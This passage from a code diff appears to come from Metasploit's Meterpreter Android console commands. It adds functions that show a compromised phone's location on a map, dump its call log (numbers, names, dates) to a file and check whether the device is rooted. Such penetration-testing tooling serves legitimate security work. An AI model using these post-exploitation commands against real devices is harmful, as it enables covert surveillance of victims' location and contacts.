print_line("\tLatitude: #{geo[0]['lat']}")
|
268
|
+
print_line("\tLongitude: #{geo[0]['long']}\n")
|
269
|
+
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
|
270
|
+
|
271
|
+
if generate_map
|
272
|
+
link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
|
273
|
+
print_status("Generated map on google-maps:")
|
274
|
+
print_status(link)
|
275
|
+
Rex::Compat.open_browser(link)
|
276
|
+
end
|
277
|
+
|
278
|
+
end
|
279
|
+
|
280
|
+
def cmd_dump_calllog(*args)
|
281
|
+
|
282
|
+
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
283
|
+
dump_calllog_opts = Rex::Parser::Arguments.new(
|
284
|
+
|
285
|
+
'-h' => [ false, 'Help Banner' ],
|
286
|
+
'-o' => [ false, 'Output path for call log']
|
287
|
+
|
288
|
+
)
|
289
|
+
|
290
|
+
dump_calllog_opts.parse(args) { | opt, idx, val |
|
291
|
+
case opt
|
292
|
+
when '-h'
|
293
|
+
print_line('Usage: dump_calllog [options]')
|
294
|
+
print_line('Get call log.')
|
295
|
+
print_line(dump_calllog_opts.usage)
|
296
|
+
return
|
297
|
+
when '-o'
|
298
|
+
path = val
|
299
|
+
end
|
300
|
+
}
|
301
|
+
|
302
|
+
log = client.android.dump_calllog
|
303
|
+
|
304
|
+
if log.count > 0
|
305
|
+
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
|
306
|
+
begin
|
307
|
+
info = client.sys.config.sysinfo
|
308
|
+
|
309
|
+
data = ""
|
310
|
+
data << "\n=================\n"
|
311
|
+
data << "[+] Call log dump\n"
|
312
|
+
data << "=================\n\n"
|
313
|
+
|
314
|
+
time = Time.new
|
315
|
+
data << "Date: #{time.inspect}\n"
|
316
|
+
data << "OS: #{info['OS']}\n"
|
317
|
+
data << "Remote IP: #{client.sock.peerhost}\n"
|
318
|
+
data << "Remote Port: #{client.sock.peerport}\n\n"
|
319
|
+
|
320
|
+
log.each_with_index { |a, index|
|
321
|
+
|
322
|
+
data << "##{index.to_i + 1}\n"
|
323
|
+
|
324
|
+
data << "Number\t: #{a['number']}\n"
|
325
|
+
data << "Name\t: #{a['name']}\n"
|
326
|
+
data << "Date\t: #{a['date']}\n"
|
327
|
+
data << "Type\t: #{a['type']}\n"
|
328
|
+
data << "Duration: #{a['duration']}\n\n"
|
329
|
+
}
|
330
|
+
|
331
|
+
::File.write(path, data)
|
332
|
+
print_status("Call log saved to #{path}")
|
333
|
+
|
334
|
+
return true
|
335
|
+
rescue
|
336
|
+
print_error("Error getting call log: #{$!}")
|
337
|
+
return false
|
338
|
+
end
|
339
|
+
else
|
340
|
+
print_status('No call log entries were found!')
|
341
|
+
return false
|
342
|
+
end
|
343
|
+
end
|
344
|
+
|
345
|
+
|
346
|
+
def cmd_check_root(*args)
|
347
|
+
|
348
|
+
check_root_opts = Rex::Parser::Arguments.new(
|
349
|
+
'-h' => [ false, 'Help Banner' ]
|
350
|
+
)
|
351
|
+
|
352
|
+
check_root_opts.parse(args) { | opt, idx, val |
|
353
|
+
case opt
|
354
|
+
when '-h'
|
355
|
+
print_line('Usage: check_root [options]')
|
356
|
+
print_line('Check if device is rooted.')
|
357
|
+
print_line(check_root_opts.usage)
|
358
|
+
return
|
359
|
+
end
|
360
|
+
}
|
361
|
+
|
362
|
+
is_rooted = client.android.check_root
|
363
|
+
|
364
|
+
if is_rooted
|
365
|
+
print_good('Device is rooted')
|
366
|
+
elsif
|
367
|
+
print_status('Device is not rooted')
|
368
|
+
end
|
369
|
+
end
|
370
|
+
|
371
|
+
#
|
372
|
+
# Name for this dispatcher
|
373
|
+
#
|
374
|
+
def name
|
375
|
+
'Android'
|
376
|
+
end
|
377
|
+
|
378
|
+
end
|
379
|
+
|
380
|
+
end
|
381
|
+
end
|
382
|
+
end
|
383
|
+
end
|